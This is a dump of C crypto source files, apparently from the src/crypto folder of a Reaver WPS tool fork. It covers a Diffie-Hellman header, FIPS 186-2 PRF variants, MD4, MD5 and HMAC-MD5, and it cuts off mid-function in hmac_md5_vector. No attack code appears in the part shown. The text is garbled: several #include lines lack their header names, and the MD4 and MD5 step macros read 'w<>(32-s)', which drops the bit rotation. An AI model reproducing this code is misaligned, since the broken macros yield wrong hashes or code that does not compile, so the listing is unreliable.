wpabuf_free(shared); wpa_printf(MSG_INFO, "DH: crypto_mod_exp failed"); return NULL; } wpabuf_put(shared, shared_len); wpa_hexdump_buf_key(MSG_DEBUG, "DH: shared key", shared); return shared; } reaver-wps-fork-t6x-1.6.6/src/crypto/dh_groups.h000077500000000000000000000015161363372615500215700ustar00rootroot00000000000000/* * Diffie-Hellman groups * Copyright (c) 2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef DH_GROUPS_H #define DH_GROUPS_H struct dh_group { int id; const u8 *generator; size_t generator_len; const u8 *prime; size_t prime_len; }; const struct dh_group * dh_groups_get(int id); struct wpabuf * dh_init(const struct dh_group *dh, struct wpabuf **priv); struct wpabuf * dh_derive_shared(const struct wpabuf *peer_public, const struct wpabuf *own_private, const struct dh_group *dh); #endif /* DH_GROUPS_H */ reaver-wps-fork-t6x-1.6.6/src/crypto/fips_prf_cryptoapi.c000077500000000000000000000011521363372615500234670ustar00rootroot00000000000000/* * FIPS 186-2 PRF for Microsoft CryptoAPI * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" int fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, size_t xlen) { /* FIX: how to do this with CryptoAPI? */ return -1; } reaver-wps-fork-t6x-1.6.6/src/crypto/fips_prf_gnutls.c000077500000000000000000000011711363372615500227720ustar00rootroot00000000000000/* * FIPS 186-2 PRF for libgcrypt * Copyright (c) 2004-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include "common.h" #include "crypto.h" int fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, size_t xlen) { /* FIX: how to do this with libgcrypt? */ return -1; } reaver-wps-fork-t6x-1.6.6/src/crypto/fips_prf_internal.c000077500000000000000000000031071363372615500232730ustar00rootroot00000000000000/* * FIPS 186-2 PRF for internal crypto implementation * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "sha1.h" #include "sha1_i.h" #include "crypto.h" int fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, size_t xlen) { u8 xkey[64]; u32 t[5], _t[5]; int i, j, m, k; u8 *xpos = x; u32 carry; if (seed_len > sizeof(xkey)) seed_len = sizeof(xkey); /* FIPS 186-2 + change notice 1 */ os_memcpy(xkey, seed, seed_len); os_memset(xkey + seed_len, 0, 64 - seed_len); t[0] = 0x67452301; t[1] = 0xEFCDAB89; t[2] = 0x98BADCFE; t[3] = 0x10325476; t[4] = 0xC3D2E1F0; m = xlen / 40; for (j = 0; j < m; j++) { /* XSEED_j = 0 */ for (i = 0; i < 2; i++) { /* XVAL = (XKEY + XSEED_j) mod 2^b */ /* w_i = G(t, XVAL) */ os_memcpy(_t, t, 20); SHA1Transform(_t, xkey); _t[0] = host_to_be32(_t[0]); _t[1] = host_to_be32(_t[1]); _t[2] = host_to_be32(_t[2]); _t[3] = host_to_be32(_t[3]); _t[4] = host_to_be32(_t[4]); os_memcpy(xpos, _t, 20); /* XKEY = (1 + XKEY + w_i) mod 2^b */ carry = 1; for (k = 19; k >= 0; k--) { carry += xkey[k] + xpos[k]; xkey[k] = carry & 0xff; carry >>= 8; } xpos += SHA1_MAC_LEN; } /* x_j = w_0|w_1 */ } return 0; } reaver-wps-fork-t6x-1.6.6/src/crypto/fips_prf_nss.c000077500000000000000000000011101363372615500222520ustar00rootroot00000000000000/* * FIPS 186-2 PRF for NSS * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include "common.h" #include "crypto.h" int fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, size_t xlen) { return -1; } reaver-wps-fork-t6x-1.6.6/src/crypto/fips_prf_openssl.c000077500000000000000000000034151363372615500231440ustar00rootroot00000000000000/* * FIPS 186-2 PRF for libcrypto * Copyright (c) 2004-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include "common.h" #include "crypto.h" static void sha1_transform(u8 *state, const u8 data[64]) { SHA_CTX context; os_memset(&context, 0, sizeof(context)); os_memcpy(&context.h0, state, 5 * 4); SHA1_Transform(&context, data); os_memcpy(state, &context.h0, 5 * 4); } int fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, size_t xlen) { u8 xkey[64]; u32 t[5], _t[5]; int i, j, m, k; u8 *xpos = x; u32 carry; if (seed_len > sizeof(xkey)) seed_len = sizeof(xkey); /* FIPS 186-2 + change notice 1 */ os_memcpy(xkey, seed, seed_len); os_memset(xkey + seed_len, 0, 64 - seed_len); t[0] = 0x67452301; t[1] = 0xEFCDAB89; t[2] = 0x98BADCFE; t[3] = 0x10325476; t[4] = 0xC3D2E1F0; m = xlen / 40; for (j = 0; j < m; j++) { /* XSEED_j = 0 */ for (i = 0; i < 2; i++) { /* XVAL = (XKEY + XSEED_j) mod 2^b */ /* w_i = G(t, XVAL) */ os_memcpy(_t, t, 20); sha1_transform((u8 *) _t, xkey); _t[0] = host_to_be32(_t[0]); _t[1] = host_to_be32(_t[1]); _t[2] = host_to_be32(_t[2]); _t[3] = host_to_be32(_t[3]); _t[4] = host_to_be32(_t[4]); os_memcpy(xpos, _t, 20); /* XKEY = (1 + XKEY + w_i) mod 2^b */ carry = 1; for (k = 19; k >= 0; k--) { carry += xkey[k] + xpos[k]; xkey[k] = carry & 0xff; carry >>= 8; } xpos += 20; } /* x_j = w_0|w_1 */ } return 0; } reaver-wps-fork-t6x-1.6.6/src/crypto/md4-internal.c000077500000000000000000000201261363372615500220650ustar00rootroot00000000000000/* * MD4 hash implementation * Copyright (c) 2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" #define MD4_BLOCK_LENGTH 64 #define MD4_DIGEST_LENGTH 16 typedef struct MD4Context { u32 state[4]; /* state */ u64 count; /* number of bits, mod 2^64 */ u8 buffer[MD4_BLOCK_LENGTH]; /* input buffer */ } MD4_CTX; static void MD4Init(MD4_CTX *ctx); static void MD4Update(MD4_CTX *ctx, const unsigned char *input, size_t len); static void MD4Final(unsigned char digest[MD4_DIGEST_LENGTH], MD4_CTX *ctx); int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { MD4_CTX ctx; size_t i; MD4Init(&ctx); for (i = 0; i < num_elem; i++) MD4Update(&ctx, addr[i], len[i]); MD4Final(mac, &ctx); return 0; } /* ===== start - public domain MD4 implementation ===== */ /* $OpenBSD: md4.c,v 1.7 2005/08/08 08:05:35 espie Exp $ */ /* * This code implements the MD4 message-digest algorithm. * The algorithm is due to Ron Rivest. This code was * written by Colin Plumb in 1993, no copyright is claimed. * This code is in the public domain; do with it what you wish. * Todd C. Miller modified the MD5 code to do MD4 based on RFC 1186. * * Equivalent code is available from RSA Data Security, Inc. * This code has been tested against that, and is equivalent, * except that you don't need to include two pages of legalese * with every copy. * * To compute the message digest of a chunk of bytes, declare an * MD4Context structure, pass it to MD4Init, call MD4Update as * needed on buffers full of bytes, and then call MD4Final, which * will fill a supplied 16-byte array with the digest. */ #define MD4_DIGEST_STRING_LENGTH (MD4_DIGEST_LENGTH * 2 + 1) static void MD4Transform(u32 state[4], const u8 block[MD4_BLOCK_LENGTH]); #define PUT_64BIT_LE(cp, value) do { \ (cp)[7] = (value) >> 56; \ (cp)[6] = (value) >> 48; \ (cp)[5] = (value) >> 40; \ (cp)[4] = (value) >> 32; \ (cp)[3] = (value) >> 24; \ (cp)[2] = (value) >> 16; \ (cp)[1] = (value) >> 8; \ (cp)[0] = (value); } while (0) #define PUT_32BIT_LE(cp, value) do { \ (cp)[3] = (value) >> 24; \ (cp)[2] = (value) >> 16; \ (cp)[1] = (value) >> 8; \ (cp)[0] = (value); } while (0) static u8 PADDING[MD4_BLOCK_LENGTH] = { 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; /* * Start MD4 accumulation. * Set bit count to 0 and buffer to mysterious initialization constants. */ static void MD4Init(MD4_CTX *ctx) { ctx->count = 0; ctx->state[0] = 0x67452301; ctx->state[1] = 0xefcdab89; ctx->state[2] = 0x98badcfe; ctx->state[3] = 0x10325476; } /* * Update context to reflect the concatenation of another buffer full * of bytes. */ static void MD4Update(MD4_CTX *ctx, const unsigned char *input, size_t len) { size_t have, need; /* Check how many bytes we already have and how many more we need. */ have = (size_t)((ctx->count >> 3) & (MD4_BLOCK_LENGTH - 1)); need = MD4_BLOCK_LENGTH - have; /* Update bitcount */ ctx->count += (u64)len << 3; if (len >= need) { if (have != 0) { os_memcpy(ctx->buffer + have, input, need); MD4Transform(ctx->state, ctx->buffer); input += need; len -= need; have = 0; } /* Process data in MD4_BLOCK_LENGTH-byte chunks. */ while (len >= MD4_BLOCK_LENGTH) { MD4Transform(ctx->state, input); input += MD4_BLOCK_LENGTH; len -= MD4_BLOCK_LENGTH; } } /* Handle any remaining bytes of data. */ if (len != 0) os_memcpy(ctx->buffer + have, input, len); } /* * Pad pad to 64-byte boundary with the bit pattern * 1 0* (64-bit count of bits processed, MSB-first) */ static void MD4Pad(MD4_CTX *ctx) { u8 count[8]; size_t padlen; /* Convert count to 8 bytes in little endian order. */ PUT_64BIT_LE(count, ctx->count); /* Pad out to 56 mod 64. */ padlen = MD4_BLOCK_LENGTH - ((ctx->count >> 3) & (MD4_BLOCK_LENGTH - 1)); if (padlen < 1 + 8) padlen += MD4_BLOCK_LENGTH; MD4Update(ctx, PADDING, padlen - 8); /* padlen - 8 <= 64 */ MD4Update(ctx, count, 8); } /* * Final wrapup--call MD4Pad, fill in digest and zero out ctx. */ static void MD4Final(unsigned char digest[MD4_DIGEST_LENGTH], MD4_CTX *ctx) { int i; MD4Pad(ctx); if (digest != NULL) { for (i = 0; i < 4; i++) PUT_32BIT_LE(digest + i * 4, ctx->state[i]); os_memset(ctx, 0, sizeof(*ctx)); } } /* The three core functions - F1 is optimized somewhat */ /* #define F1(x, y, z) (x & y | ~x & z) */ #define F1(x, y, z) (z ^ (x & (y ^ z))) #define F2(x, y, z) ((x & y) | (x & z) | (y & z)) #define F3(x, y, z) (x ^ y ^ z) /* This is the central step in the MD4 algorithm. */ #define MD4STEP(f, w, x, y, z, data, s) \ ( w += f(x, y, z) + data, w = w<>(32-s) ) /* * The core of the MD4 algorithm, this alters an existing MD4 hash to * reflect the addition of 16 longwords of new data. MD4Update blocks * the data and converts bytes into longwords for this routine. */ static void MD4Transform(u32 state[4], const u8 block[MD4_BLOCK_LENGTH]) { u32 a, b, c, d, in[MD4_BLOCK_LENGTH / 4]; #if BYTE_ORDER == LITTLE_ENDIAN os_memcpy(in, block, sizeof(in)); #else for (a = 0; a < MD4_BLOCK_LENGTH / 4; a++) { in[a] = (u32)( (u32)(block[a * 4 + 0]) | (u32)(block[a * 4 + 1]) << 8 | (u32)(block[a * 4 + 2]) << 16 | (u32)(block[a * 4 + 3]) << 24); } #endif a = state[0]; b = state[1]; c = state[2]; d = state[3]; MD4STEP(F1, a, b, c, d, in[ 0], 3); MD4STEP(F1, d, a, b, c, in[ 1], 7); MD4STEP(F1, c, d, a, b, in[ 2], 11); MD4STEP(F1, b, c, d, a, in[ 3], 19); MD4STEP(F1, a, b, c, d, in[ 4], 3); MD4STEP(F1, d, a, b, c, in[ 5], 7); MD4STEP(F1, c, d, a, b, in[ 6], 11); MD4STEP(F1, b, c, d, a, in[ 7], 19); MD4STEP(F1, a, b, c, d, in[ 8], 3); MD4STEP(F1, d, a, b, c, in[ 9], 7); MD4STEP(F1, c, d, a, b, in[10], 11); MD4STEP(F1, b, c, d, a, in[11], 19); MD4STEP(F1, a, b, c, d, in[12], 3); MD4STEP(F1, d, a, b, c, in[13], 7); MD4STEP(F1, c, d, a, b, in[14], 11); MD4STEP(F1, b, c, d, a, in[15], 19); MD4STEP(F2, a, b, c, d, in[ 0] + 0x5a827999, 3); MD4STEP(F2, d, a, b, c, in[ 4] + 0x5a827999, 5); MD4STEP(F2, c, d, a, b, in[ 8] + 0x5a827999, 9); MD4STEP(F2, b, c, d, a, in[12] + 0x5a827999, 13); MD4STEP(F2, a, b, c, d, in[ 1] + 0x5a827999, 3); MD4STEP(F2, d, a, b, c, in[ 5] + 0x5a827999, 5); MD4STEP(F2, c, d, a, b, in[ 9] + 0x5a827999, 9); MD4STEP(F2, b, c, d, a, in[13] + 0x5a827999, 13); MD4STEP(F2, a, b, c, d, in[ 2] + 0x5a827999, 3); MD4STEP(F2, d, a, b, c, in[ 6] + 0x5a827999, 5); MD4STEP(F2, c, d, a, b, in[10] + 0x5a827999, 9); MD4STEP(F2, b, c, d, a, in[14] + 0x5a827999, 13); MD4STEP(F2, a, b, c, d, in[ 3] + 0x5a827999, 3); MD4STEP(F2, d, a, b, c, in[ 7] + 0x5a827999, 5); MD4STEP(F2, c, d, a, b, in[11] + 0x5a827999, 9); MD4STEP(F2, b, c, d, a, in[15] + 0x5a827999, 13); MD4STEP(F3, a, b, c, d, in[ 0] + 0x6ed9eba1, 3); MD4STEP(F3, d, a, b, c, in[ 8] + 0x6ed9eba1, 9); MD4STEP(F3, c, d, a, b, in[ 4] + 0x6ed9eba1, 11); MD4STEP(F3, b, c, d, a, in[12] + 0x6ed9eba1, 15); MD4STEP(F3, a, b, c, d, in[ 2] + 0x6ed9eba1, 3); MD4STEP(F3, d, a, b, c, in[10] + 0x6ed9eba1, 9); MD4STEP(F3, c, d, a, b, in[ 6] + 0x6ed9eba1, 11); MD4STEP(F3, b, c, d, a, in[14] + 0x6ed9eba1, 15); MD4STEP(F3, a, b, c, d, in[ 1] + 0x6ed9eba1, 3); MD4STEP(F3, d, a, b, c, in[ 9] + 0x6ed9eba1, 9); MD4STEP(F3, c, d, a, b, in[ 5] + 0x6ed9eba1, 11); MD4STEP(F3, b, c, d, a, in[13] + 0x6ed9eba1, 15); MD4STEP(F3, a, b, c, d, in[ 3] + 0x6ed9eba1, 3); MD4STEP(F3, d, a, b, c, in[11] + 0x6ed9eba1, 9); MD4STEP(F3, c, d, a, b, in[ 7] + 0x6ed9eba1, 11); MD4STEP(F3, b, c, d, a, in[15] + 0x6ed9eba1, 15); state[0] += a; state[1] += b; state[2] += c; state[3] += d; } /* ===== end - public domain MD4 implementation ===== */ reaver-wps-fork-t6x-1.6.6/src/crypto/md5-internal.c000077500000000000000000000216501363372615500220710ustar00rootroot00000000000000/* * MD5 hash implementation and interface functions * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "md5.h" #include "md5_i.h" #include "crypto.h" static void MD5Transform(u32 buf[4], u32 const in[16]); typedef struct MD5Context MD5_CTX; /** * md5_vector - MD5 hash for data vector * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash * Returns: 0 on success, -1 of failure */ int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { MD5_CTX ctx; size_t i; MD5Init(&ctx); for (i = 0; i < num_elem; i++) MD5Update(&ctx, addr[i], len[i]); MD5Final(mac, &ctx); return 0; } /* ===== start - public domain MD5 implementation ===== */ /* * This code implements the MD5 message-digest algorithm. * The algorithm is due to Ron Rivest. This code was * written by Colin Plumb in 1993, no copyright is claimed. * This code is in the public domain; do with it what you wish. * * Equivalent code is available from RSA Data Security, Inc. * This code has been tested against that, and is equivalent, * except that you don't need to include two pages of legalese * with every copy. * * To compute the message digest of a chunk of bytes, declare an * MD5Context structure, pass it to MD5Init, call MD5Update as * needed on buffers full of bytes, and then call MD5Final, which * will fill a supplied 16-byte array with the digest. */ #ifndef WORDS_BIGENDIAN #define byteReverse(buf, len) /* Nothing */ #else /* * Note: this code is harmless on little-endian machines. */ static void byteReverse(unsigned char *buf, unsigned longs) { u32 t; do { t = (u32) ((unsigned) buf[3] << 8 | buf[2]) << 16 | ((unsigned) buf[1] << 8 | buf[0]); *(u32 *) buf = t; buf += 4; } while (--longs); } #endif /* * Start MD5 accumulation. Set bit count to 0 and buffer to mysterious * initialization constants. */ void MD5Init(struct MD5Context *ctx) { ctx->buf[0] = 0x67452301; ctx->buf[1] = 0xefcdab89; ctx->buf[2] = 0x98badcfe; ctx->buf[3] = 0x10325476; ctx->bits[0] = 0; ctx->bits[1] = 0; } /* * Update context to reflect the concatenation of another buffer full * of bytes. */ void MD5Update(struct MD5Context *ctx, unsigned char const *buf, unsigned len) { u32 t; /* Update bitcount */ t = ctx->bits[0]; if ((ctx->bits[0] = t + ((u32) len << 3)) < t) ctx->bits[1]++; /* Carry from low to high */ ctx->bits[1] += len >> 29; t = (t >> 3) & 0x3f; /* Bytes already in shsInfo->data */ /* Handle any leading odd-sized chunks */ if (t) { unsigned char *p = (unsigned char *) ctx->in + t; t = 64 - t; if (len < t) { os_memcpy(p, buf, len); return; } os_memcpy(p, buf, t); byteReverse(ctx->in, 16); MD5Transform(ctx->buf, (u32 *) ctx->in); buf += t; len -= t; } /* Process data in 64-byte chunks */ while (len >= 64) { os_memcpy(ctx->in, buf, 64); byteReverse(ctx->in, 16); MD5Transform(ctx->buf, (u32 *) ctx->in); buf += 64; len -= 64; } /* Handle any remaining bytes of data. */ os_memcpy(ctx->in, buf, len); } /* * Final wrapup - pad to 64-byte boundary with the bit pattern * 1 0* (64-bit count of bits processed, MSB-first) */ void MD5Final(unsigned char digest[16], struct MD5Context *ctx) { unsigned count; unsigned char *p; /* Compute number of bytes mod 64 */ count = (ctx->bits[0] >> 3) & 0x3F; /* Set the first char of padding to 0x80. This is safe since there is always at least one byte free */ p = ctx->in + count; *p++ = 0x80; /* Bytes of padding needed to make 64 bytes */ count = 64 - 1 - count; /* Pad out to 56 mod 64 */ if (count < 8) { /* Two lots of padding: Pad the first block to 64 bytes */ os_memset(p, 0, count); byteReverse(ctx->in, 16); MD5Transform(ctx->buf, (u32 *) ctx->in); /* Now fill the next block with 56 bytes */ os_memset(ctx->in, 0, 56); } else { /* Pad block to 56 bytes */ os_memset(p, 0, count - 8); } byteReverse(ctx->in, 14); /* Append length in bits and transform */ ((u32 *) ctx->in)[14] = ctx->bits[0]; ((u32 *) ctx->in)[15] = ctx->bits[1]; MD5Transform(ctx->buf, (u32 *) ctx->in); byteReverse((unsigned char *) ctx->buf, 4); os_memcpy(digest, ctx->buf, 16); os_memset(ctx, 0, sizeof(*ctx)); /* In case it's sensitive */ } /* The four core functions - F1 is optimized somewhat */ /* #define F1(x, y, z) (x & y | ~x & z) */ #define F1(x, y, z) (z ^ (x & (y ^ z))) #define F2(x, y, z) F1(z, x, y) #define F3(x, y, z) (x ^ y ^ z) #define F4(x, y, z) (y ^ (x | ~z)) /* This is the central step in the MD5 algorithm. */ #define MD5STEP(f, w, x, y, z, data, s) \ ( w += f(x, y, z) + data, w = w<>(32-s), w += x ) /* * The core of the MD5 algorithm, this alters an existing MD5 hash to * reflect the addition of 16 longwords of new data. MD5Update blocks * the data and converts bytes into longwords for this routine. */ static void MD5Transform(u32 buf[4], u32 const in[16]) { register u32 a, b, c, d; a = buf[0]; b = buf[1]; c = buf[2]; d = buf[3]; MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7); MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12); MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17); MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22); MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7); MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12); MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17); MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22); MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7); MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12); MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17); MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22); MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7); MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12); MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17); MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22); MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5); MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9); MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14); MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20); MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5); MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9); MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14); MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20); MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5); MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9); MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14); MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20); MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5); MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9); MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14); MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20); MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4); MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11); MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16); MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23); MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4); MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11); MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16); MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23); MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4); MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11); MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16); MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23); MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4); MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11); MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16); MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23); MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6); MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10); MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15); MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21); MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6); MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10); MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15); MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21); MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6); MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10); MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15); MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21); MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6); MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10); MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15); MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21); buf[0] += a; buf[1] += b; buf[2] += c; buf[3] += d; } /* ===== end - public domain MD5 implementation ===== */ reaver-wps-fork-t6x-1.6.6/src/crypto/md5-non-fips.c000077500000000000000000000056661363372615500220170ustar00rootroot00000000000000/* * MD5 hash implementation and interface functions (non-FIPS allowed cases) * Copyright (c) 2003-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "md5.h" #include "crypto.h" /** * hmac_md5_vector_non_fips_allow - HMAC-MD5 over data vector (RFC 2104) * @key: Key for HMAC operations * @key_len: Length of the key in bytes * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash (16 bytes) * Returns: 0 on success, -1 on failure */ int hmac_md5_vector_non_fips_allow(const u8 *key, size_t key_len, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { u8 k_pad[64]; /* padding - key XORd with ipad/opad */ u8 tk[16]; const u8 *_addr[6]; size_t i, _len[6]; if (num_elem > 5) { /* * Fixed limit on the number of fragments to avoid having to * allocate memory (which could fail). */ return -1; } /* if key is longer than 64 bytes reset it to key = MD5(key) */ if (key_len > 64) { if (md5_vector_non_fips_allow(1, &key, &key_len, tk)) return -1; key = tk; key_len = 16; } /* the HMAC_MD5 transform looks like: * * MD5(K XOR opad, MD5(K XOR ipad, text)) * * where K is an n byte key * ipad is the byte 0x36 repeated 64 times * opad is the byte 0x5c repeated 64 times * and text is the data being protected */ /* start out by storing key in ipad */ os_memset(k_pad, 0, sizeof(k_pad)); os_memcpy(k_pad, key, key_len); /* XOR key with ipad values */ for (i = 0; i < 64; i++) k_pad[i] ^= 0x36; /* perform inner MD5 */ _addr[0] = k_pad; _len[0] = 64; for (i = 0; i < num_elem; i++) { _addr[i + 1] = addr[i]; _len[i + 1] = len[i]; } if (md5_vector_non_fips_allow(1 + num_elem, _addr, _len, mac)) return -1; os_memset(k_pad, 0, sizeof(k_pad)); os_memcpy(k_pad, key, key_len); /* XOR key with opad values */ for (i = 0; i < 64; i++) k_pad[i] ^= 0x5c; /* perform outer MD5 */ _addr[0] = k_pad; _len[0] = 64; _addr[1] = mac; _len[1] = MD5_MAC_LEN; return md5_vector_non_fips_allow(2, _addr, _len, mac); } /** * hmac_md5_non_fips_allow - HMAC-MD5 over data buffer (RFC 2104) * @key: Key for HMAC operations * @key_len: Length of the key in bytes * @data: Pointers to the data area * @data_len: Length of the data area * @mac: Buffer for the hash (16 bytes) * Returns: 0 on success, -1 on failure */ int hmac_md5_non_fips_allow(const u8 *key, size_t key_len, const u8 *data, size_t data_len, u8 *mac) { return hmac_md5_vector_non_fips_allow(key, key_len, 1, &data, &data_len, mac); } reaver-wps-fork-t6x-1.6.6/src/crypto/md5.c000077500000000000000000000054221363372615500202560ustar00rootroot00000000000000/* * MD5 hash implementation and interface functions * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "md5.h" #include "crypto.h" /** * hmac_md5_vector - HMAC-MD5 over data vector (RFC 2104) * @key: Key for HMAC operations * @key_len: Length of the key in bytes * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash (16 bytes) * Returns: 0 on success, -1 on failure */ int hmac_md5_vector(const u8 *key, size_t key_len, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { u8 k_pad[64]; /* padding - key XORd with ipad/opad */ u8 tk[16]; const u8 *_addr[6]; size_t i, _len[6]; if (num_elem > 5) { /* * Fixed limit on the number of fragments to avoid having to * allocate memory (which could fail). */ return -1; } /* if key is longer than 64 bytes reset it to key = MD5(key) */ if (key_len > 64) { if (md5_vector(1, &key, &key_len, tk)) return -1; key = tk; key_len = 16; } /* the HMAC_MD5 transform looks like: * * MD5(K XOR opad, MD5(K XOR ipad, text)) * * where K is an n byte key * ipad is the byte 0x36 repeated 64 times * opad is the byte 0x5c repeated 64 times * and text is the data being protected */ /* start out by storing key in ipad */ os_memset(k_pad, 0, sizeof(k_pad)); os_memcpy(k_pad, key, key_len); /* XOR key with ipad values */ for (i = 0; i < 64; i++) k_pad[i] ^= 0x36; /* perform inner MD5 */ _addr[0] = k_pad; _len[0] = 64; for (i = 0; i < num_elem; i++) { _addr[i + 1] = addr[i]; _len[i + 1] = len[i]; } if 